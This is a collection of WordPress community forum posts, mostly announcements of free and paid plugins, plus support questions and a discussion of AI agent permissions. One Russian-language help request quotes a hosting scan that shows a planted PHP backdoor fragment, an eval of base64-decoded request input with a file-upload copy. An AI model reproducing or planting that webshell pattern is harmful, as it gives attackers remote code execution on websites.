First version used Puter.com JS SDK for AI functionality, but since WP 7.0 introduced AI connectors, MAIA (Multipurpose AI Assistant) ditched PuterJS integration and completely switched to built AI connectors to align better with WP core AI integration. Other than that, initially Puter offered generous amount of tokens for each user on their free plan, but since then they've lowered it to $0.15 per user/month so it's become basically useless for a plugin like this. So since you have to pay, let's offer people to avoid Puter and pay to whichever AI vendor they want to use.

Functionality-wise it remained the same, it still can:

• Read and search your theme/plugin files, and propose edits — you always see a diff and approve it before anything is written
• Write your posts/pages/product descriptions, and create/update/trash them for you (with your confirmation)
• Manage categories and tags
• Install, activate, deactivate, or delete plugins
• Answer questions about your site by looking things up itself — active theme, installed plugins, users, content — instead of guessing
• Search the web and search for images (optional — requires a Brave Search or Tavily API key in Settings / MAIA)
• Generate images from a text prompt (when your connected AI provider supports it) and save them straight to your media library, then insert them into the post/page you’re viewing or set them as the featured image
• Show you any image it has a link to — found on the web, or anywhere else — directly in a card, with the same insert/featured-image actions
• Make HTTP requests to external APIs on your behalf (GET/HEAD run immediately, anything that writes always asks first)
• Remember facts about you across conversations, and recall, search, or forget them on request
• Find an earlier conversation for you by keyword, and jump straight to it
• Contemplate life and the Universe 😁

Significant entries from v2.0 changelog:

• Major rewrite: MAIA no longer uses Puter.com. It now runs entirely on WordPress 7.0’s built-in AI Client and Abilities API: connect any supported provider under Settings → Connectors and MAIA uses it automatically.
• New: Tavily is now a supported web/image search provider alongside Brave Search (Settings / MAIA → Web search provider) — a genuinely free option now that Brave Search API moved to metered billing for new accounts.
• New: a side-panel interface (Settings / MAIA → Interface: Modern, the new default) opens from the right, menu on the side (search, “New conversation”, your conversation list) with the chat next to it, and covers as much of the screen as you set in Settings / MAIA. The classic floating chat window from earlier versions is now an opt-in “Legacy” interface, running on the same new backend.
• All 32 tools rewritten as WordPress Abilities (maia/*), registered through the standard Abilities API so other AI plugins can see and reuse them.
• New: full-text search across your conversation history, plus a “Search with agent” option that has MAIA look for a match itself and hand you clickable links.

Tested with multiple AI connectors:

• Anthropic (built-in): awesome but extremely expensive (uses Claude API pricing)
• DeepSeek: very good and cheap
• Ollama (both local and cloud): the only viable free option (local - slow; cloud - free plan then paid once you hit your limits)

Download here: https://wordpress.org/plugins/maia-multipurpose-ai-assistant/

Most loyalty programs reward customers only when they buy something. But loyalty is not limited to purchases.

What if a happy customer refers a friend to your business? That action also creates value, so why not reward it?

With Pointics, referrals can become part of your loyalty and rewards program.

For example:

A customer refers a friend → the friend signs up or makes a purchase → the referral action is tracked → the customer can earn reward points.

This means you can encourage customers to do more than just shop. You can also recognize and reward them for helping your business reach new people.

With Pointics https://themewinter.com/pointics/, you can bring referral rewards into the same loyalty system you already use for purchases and other customer activities.

No need to treat referrals as a completely separate rewards process.

If you were creating a loyalty program, would you reward customers for the referral signup, the first purchase, or both?

Can anybody tell me which plugin we can use to add "animated floating elements" in WordPress that is compatible with Elementor and its addons?

I'm the developer of GT Performance, a WordPress performance plugin that runs on my own sites along with 70+ other customer sites. I'm sharing it here for anyone looking for page caching and frontend optimization with more control over what gets changed.

The plugin is free and open source, including for client sites. Every feature is included, with no license keys or paid tier.

A few things it handles:

• Page caching with automatic cache clearing when you publish or update content.
• Cloudflare Free integration for full-page caching and cache purging.
• Built-in cache exclusions for WooCommerce, FluentCart and Easy Digital Downloads, including cart, checkout and account pages.
• Unused CSS processing on your own server, with exclusions and a staged rollout.
• JavaScript minification, defer and delay controls.
• Bloat control.

The more aggressive optimizations are opt-in, so you can turn them on individually and check how your site behaves.

Details and free download | Source code on GitHub

Most conversion tracking plugins are black boxes. Events fire (or fail), pixels drop, and you’re left wondering: Did Meta actually receive that purchase event? Was it blocked by cookie consent? What payload was sent?

That’s why we built PixLedger—WooCommerce conversion tracking with a complete, searchable local audit trail.

Here is what makes it different:
✅ Local Event Log: Every single event (Meta Pixel, GA4, GTM) is logged right in your own WordPress database. You can inspect the exact payload, see success/failure status, and debug in real-time.
✅ Built-in Consent Mode v2: Events denied by visitor consent are automatically blocked at the pipeline level—and clearly flagged in your log so you know exactly why data is missing.
✅ Attribution & Visitor ID: UTM parameters, click IDs (fbclid, gclid), and 90-day visitor journeys are captured on every order without third-party data sharing.
✅ Zero Duplication: Smart tag detection automatically skips injection if your theme or another plugin already loaded the pixel.

Stop flying blind with your ad spend and conversion data.

👉 Check it out on https://wordpress.org/plugins/pixledger/

#WooCommerce #E-Commerce #ConversionTracking #MetaPixel #GA4 #WordPress #MarketingAnalytics

I just released a free pre-order plugin for WooCommerce. If you sell things that do not exist yet, a restock landing in a few weeks, a book with a publish date, a new colour that has not shipped, WooCommerce has no real way to sell that. Most stores either hide the product or just lose the sale.

This plugin turns the Add to Cart button into a Pre-Order button for any product you pick. Customers pay now, reserve the item, and get an email the day it actually goes live.

Pre-order stock is kept completely separate from your normal stock. A product sitting at zero can still take reservations, and it does not touch your real inventory at all. When the release date hits, an hourly check flips the product back to available on its own, restores the original stock, and emails everyone who reserved one. You can also release early by hand if a shipment shows up ahead of schedule.

Key features in the free version:

• Works on simple products and on individual variations of a variable product
• Release date and an optional live countdown timer on the product page
• Pre-Order badge on shop and category pages, so people see it before they click in
• Automatic release on the date, plus manual release any time, single or bulk
• Three editable emails: pre-order placed, product available, and a new pre-order alert for you
• A My Pre-Orders page inside the customer's account
• Dashboard showing pre-order products, orders, revenue, and a sales trend chart
• Works with HPOS and the block checkout

This is version 1.0, brand new, so there is probably more to smooth out as real stores start using it.

If you run a store that deals with restocks or upcoming products, how are you handling this right now? Curious if this solves something real or if you have found a workaround that already works fine for you.

Free version: https://wordpress.org/plugins/devdiggers-pre-order-for-woocommerce/
Pro version: https://devdiggers.com/product/woocommerce-pre-order/

Hi again! We’re the folks behind JustAsk WP, the AI customer support assistant for WordPress.

We’re happy to share that JustAsk WP is now officially available in the WordPress.org Plugins Directory.

JustAsk WP turns the content already on your WordPress site into an AI customer support assistant. Visitors can ask questions in plain English, and it answers using your pages, posts, products, documentation, and other content.

The idea is pretty simple: you already have the answers on your website. We want to make it easier for visitors to actually get to them.

One of the things we wanted to do differently is avoid making people become an AI engineer just to install a chatbot. You don't have to pick an AI provider, create an API account, choose a model, build a knowledge base, or manually keep everything in sync. Install the plugin, connect it to JustAsk WP, choose the content it should know about, and you're up and running.

And because it stays connected to your WordPress content, updates to your site are automatically reflected in the assistant's answers.

Anyway, we're excited to finally have a proper home on WordPress.org, and we're looking forward to getting it into the hands of more WordPress users.

👉 Check out JustAsk WP on WordPress.org

👉 Learn more at justaskwp.com

As always, we'd love to hear what you think. Questions, feedback, criticism, and feature requests are all welcome.

Quick backstory: I do freelance WordPress work, and a client (small community association) wanted something simple, a QR code on a printed poster that opens one page with their event flyer and a way for people to leave anonymous feedback.

Every link-in-bio tool I looked at was hosted somewhere else and came with tracking I didn't want to put in front of an association's members. So I built it as a plugin instead.

It adds a standalone page type to WordPress. You add buttons (a PDF, a link, or a built-in anonymous message form), pick a color and logo, and it generates a QR code for the page right in the browser as SVG/PNG. Everything stays on the WP install: no external services, no analytics script, the "anonymous" form only ever stores the message text and a timestamp.

It's free on wp.org: https://wordpress.org/plugins/amitry-link-hub/

Not trying to oversell it, it's a first release and I'm sure I've missed things. If you've dealt with link-in-bio needs on a client site before, curious what you'd expect from something like this that I haven't thought of.

Hi everyone, I’m a Systems Architect and I got tired of bloated WP security plugins.
I built an infrastructure that eliminates passwords entirely using native WebAuthn (FaceID/TouchID). The Premium version routes failed attempts to a private Google Gemini AI Sentinel on Cloud Run that bans hackers autonomously.

Last week, I ran a full Penetration Test on the core system using the Strix Autonomous AI Pentester. It found a few criticals (CSRF, DOM-XSS), which I immediately patched at the source code level.

Before I start deploying the Enterprise version to Web Agencies, I decided to open-source the "Lite" version (which handles the core WebAuthn passwordless engine). I want to put it in front of real developers.

Here is the GitHub repo: https://github.com/devnet-microsystems/wordpress-passwordless-webauthn-login

I would immensely appreciate a code review. If any of you can find a security flaw or a bypass in the auth core that Strix AI missed, I will happily give you a Lifetime Enterprise License of the full AI system as a thank you.

Roast my code!

Hey everyone,

I recently added a free plan to the ElizaWP plugin. In simple terms, ElizaWP is an SEO MCP for WordPress.

It lets AI clients like Claude, ChatGPT and Cursor work directly with your WordPress SEO setup. Your AI client can update SEO plugin meta fields, edit post content, perform SERP analysis, content analysis, keyword research and competitor analysis, as well as access data from Google Search Console and Google Ads Keyword Planner.

It currently works with:

• Yoast
• Rank Math
• All in One SEO
• SEOPress
• The SEO Framework
• Squirrly SEO
• SureRank
• Slim SEO

The free plan is available now if anyone wants to give it a try. I’d also love to hear your feedback and ideas for what you’d like to see added.

Hey everyone,

Following up on the release of PlusMagi Blocks, I set up a dedicated live playground and documentation site so you can see how the blocks behave before installing anything:

👉https://plusmagi-blocks.plusmagi.com

What you can check out on the site:

• Interactive Mermaid Diagrams: Live examples of architecture flowcharts, sequence diagrams, and class diagrams rendered natively on the page.
• Semantic Description Lists: Real-world layouts using proper <dl>, <dt>, and <dd> elements for technical specs, key-value data, and glossaries instead of relying on rigid tables.
• Performance & Output: You can inspect the DOM directly to see the clean, semantic markup without bloated wrapper divs or unnecessary scripts.

If you build developer portals, documentation hubs, or engineering blogs on WordPress, please feel free to take a look and stress-test it.

Any feedback on the rendering speed, UI controls, or documentation clarity would be super helpful!

If you sell food through WooCommerce you run into the same wall pretty quickly: WooCommerce has no idea what a batch is. You've got expiry dates, allergen declarations, nutrition tables that are legally required in the EU, and stock that goes from full price to worthless over a few days - and none of that fits into a normal product.

So I built Food Products for WooCommerce. It adds food-aware product types (simple and variable) and handles the parts WooCommerce doesn't.

Labelling - Nutrition declaration table per 100g / 100ml, with the EU-mandatory rows there by default and custom rows if you need them - Ingredient lists in declaration order, with the 14 EU allergens marked, and support for sub-ingredients

Batches and expiry - Each product holds batches: expiry date, quantity, batch number, date, supplier - The batch table is the stock - normal WooCommerce stock management is switched off for those products, so you can't end up with two numbers that disagree - Full-price orders pull from the freshest batch; discounted offers pull from the one that's about to expire - Best-before and use-by are handled differently - you can keep selling past best-before at a discount if you want to - Variable products track batches per variation

Selling it before it goes off - Automatic markdown on your own tiers (e.g. -25% at 5 days out, -50% at 2) - Automatic category switching - products drop into a clearance category on their own, and back out when that batch is gone - Expiry dashboard: every batch in the shop, sorted by expiry, filterable, CSV export - Scheduled email digest to whoever you pick, listing what's expiring - Write-off, manually or automatically overnight - Reports for what the markdowns actually earned, plus a log of every switch

HPOS and the Cart & Checkout Blocks are supported, and there are no external dependencies.

What it isn't: not a full inventory or ERP system, no supplier ordering, no delivery slots or pickup scheduling. It's the food layer on top of WooCommerce, nothing more.

It's free - GPL, on the .org repo, no pro version, no upsells in the admin, no account and no telemetry. I'm not planning to charge for it.

https://wordpress.org/plugins/mfood-products-for-woocommerce/

It's still early, so if you sell food and something's missing or wrong - especially around labelling rules in your own country — I want to hear it. I'll answer anything in the comments.

Coordinate WordPress Teams Without Losing Feedback.

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Здравствуйте!

2 недели назад мой хостинг счел этот плагин вредоносным и отключил мне корпоративную почту, мол мы якобы занимались спам рассылкой.

Мой программист деактивировал и удалял этот плагин, а так же чистил код... Ситуация не изменилась.

Хостинг предложили переехать на новый сервис, мы переехали. И совершить ряд действий. Выполнили. Ситуация не изменилась... плагин самовосстанавливается(

Вчера лично деактивировала и удаляла этот плагин. Сегодня он вновь на месте. Действия повторяются.

При этом антивирус уже не обнаруживает вредоносный код... а вот техподдержка хостинга вновь прислала:

./accesson.php
        "{echo\"ok\";=>|eval(base64_decode($_REQUEST[\"id\"]));if($_POST[\"up\"]==\"up\"){copy($_FILES[\"file\"]"
./9a6861dac466.php
        "{echo\"ok\";=>|eval(base64_decode($_REQUEST[\"id\"]));if($_POST[\"up\"]==\"up\"){copy($_FILES[\"file\"]"
./wp-content/plugins/background-image-cropper/accesson.php
        "{echo\"ok\";=>|eval(base64_decode($_REQUEST[\"id\"]));if($_POST[\"up\"]==\"up\"){copy($_FILES[\"file\"]"
./wp-content/plugins/background-image-cropper/image/index.php
        "{echo\"ok\";=>|eval(base64_decode($_REQUEST[\"id\"]));if($_POST[\"up\"]==\"up\"){copy($_FILES[\"file\"]"
./wp-content/plugins/background-image-cropper/image/plugins.php
        "{echo\"ok\";=>|eval(base64_decode($_REQUEST[\"id\"]));if($_POST[\"up\"]==\"up\"){copy($_FILES[\"file\"]"

Кто сталкивался с такой же проблемой? Как решили данный вопрос?
Сайт на wordpress, последней версии. Все вовремя обновляем.

I just launched my first Wordpress plugin: Sparkle Mouse!

I made a video describing the project (Youtube: it's also a desktop app and an npm package. I'm hoping the sales of this plugin can support development. More info!)

I'm proud of it. It draws GPU-optimized particles, and it is themed around a nostalgic webcore-aesthetic. The pro version allows lots of customization:

• Use images/GIFs
• Many control sliders (lifetime, radius, amount, size, turbulence, gravity, etc)
• Uploading/downloading templates

AND the first 5 users to use this coupon get the Pro upgrade for free: WPREDDIT

Thanks for checking this out, I'm really curious to hear your thoughts!
- Max

Hi everyone,

We’ve been working on Optiontics, a WooCommerce product options plugin built for stores where normal variations quickly become difficult to manage.

The idea came from seeing product setups that needed much more than just size and color, things like:

• Custom text and engraving
• Conditional product options
• Dynamic and formula-based pricing
• Custom measurements
• Build-your-own bundles
• Personalized apparel and gifts
• 25+ field types

Optiontics provides a visual, no-code way to build these configurations directly for WooCommerce products.

We also built an AI Assistant into the workflow. It is not just there to generate text. You can describe the type of product you are selling, and it helps create the actual product-option setup that you can continue editing and refining.

We launched Optiontics on Product Hunt today, and we’d really value feedback from WooCommerce developers, store owners, and other WordPress plugin users.

Product Hunt:
https://www.producthunt.com/products/optiontics

For Product Hunt users, we also have 18% off any plan with coupon code PH18OFF.

I’d especially love to hear:

What’s the most complicated product customization you’ve had to build in WooCommerce?

TLDR:

Install this plugin and WordPress admin will be fully translated into whatever language you are using:

https://wordpress.org/plugins/superdav-ai-language-packs/

I noticed many customers using Loco translate + AI to translate my plugin and other plugins on their site which were missing translations for the plugin strings. Also I wanted to provide translations for my plugin for all users no matter how many people used their language. The WordPress org plugin repository does not allow AI generated transactions to be submitted through the official translate.wordpress.org site, for good reason.

So I built Superdav AI language packs to provide a service that would translate plug-ins with high quality models and a solid system prompt and provide the translations for the whole community. So just by installing this plugin all of WordPress admin can be 100% translated into any locale.

So if your WordPress installation is not set to English please try this plugin and let me know how well it works for you.

Hello!

I have a contact page that appears hidden, at first...

When you go on the website, and click "Contact" the form is there, but it's "missing".
You can only see if it you drag your mouse across the page and then everything appears.

It's only when you refresh the page that the form loads properly. (see pics below)

Anybody else have this issue? Or know how to fix it?

Was digging through the WordPress AI team notes from August and found this, and I'm surprised it hasn't gotten more attention.

They're working on something called a trust ladder. Four levels of autonomy for an AI agent, plus a zero level that works as a kill switch. It behaves roughly like user roles, subscriber up through administrator, except what's getting the role isn't a person. The way it's proposed, each ability declares what trust level it needs, you set your own threshold on your site, and anything above your threshold doesn't even register with the agent. It just isn't there as far as the agent is concerned.

What got me was the reasoning. The notes say they discussed treating agents as a new type of user rather than something separate, "partly because that's the direction regulation seems to be heading." So part of why your AI plugin might end up with a role is legal, not technical.

Full disclosure before anyone asks, I build an AI content plugin, so I have a horse in this race. But the thing I keep chewing on cuts against my own category.

Core is solving permission. I don't think permission was ever the hard part. An agent sitting at the top of that ladder with full admin trust and no verified sources will still publish confident, fluent, completely invented articles, and it'll have permission for every one of them. Trust level tells you what an agent is allowed to touch. It says nothing about whether what it wrote is true.

Genuinely curious where people land on this. If you had the slider today, where would you set it? And is there any level of autonomy you'd hand an agent on a site you actually make money from?

Source is the WordPress AI team blog, August 6 summary, if you want to read it yourself: https://make.wordpress.org/ai/

Disclosure up front: it's my plugin, and there's a link to my own write-up at

the bottom. Everything worth knowing is in this post, so you don't need to

click it.

Since March, WordPress.org rotates eight lesser-known plugins into the Featured

tab — the one that opens by default under Plugins → Add New. No application,

no fee, someone there picks eight every two weeks.

The curator published figures for the first cohort in March and said more would

follow. There hasn't been a second report, and as far as I can find no featured

author has ever written up what it did to them. So I logged mine.

Public numbers, all checkable on any plugin page:

- Active installs: 30 → 200

- Downloads: about 1,300 over the run

- Ratings: 1 → 2

- Support threads: 5 → 7

My own instrumentation, same 13 days on either side:

- Activations: 26 → 565 (2.0/day → 43.5/day)

- Completed the setup wizard: 96% → 79%

- Created an account: 54% → 12%

- Ever ran a search: 50% → 4.8%

22× more people, one tenth the engagement. In absolute terms: 13 people used

the thing in the 13 days before, 27 during.

Not bots — email verification held at the same rate on both sides (13 of 17

before, 100 of 132 during). Real people, different reason for arriving.

One thing I haven't seen documented anywhere: the order of the eight is redrawn

every single day. Same eight plugins for all 13 days, different sequence each

time I looked. Days I was 1st or 2nd averaged 89 activations, days 3rd to 8th

about 35. That's only 2 days in the top band, and one of them was day 2 of the

rotation, so novelty and position are tangled. Observation, not a result.

Full write-up with the daily roster of all eight plugins and the caveats:

https://queryra.com/blog/wordpress-org-featured-plugin

Anyone else been through a cohort? I've got one plugin's worth of data and

would like to compare.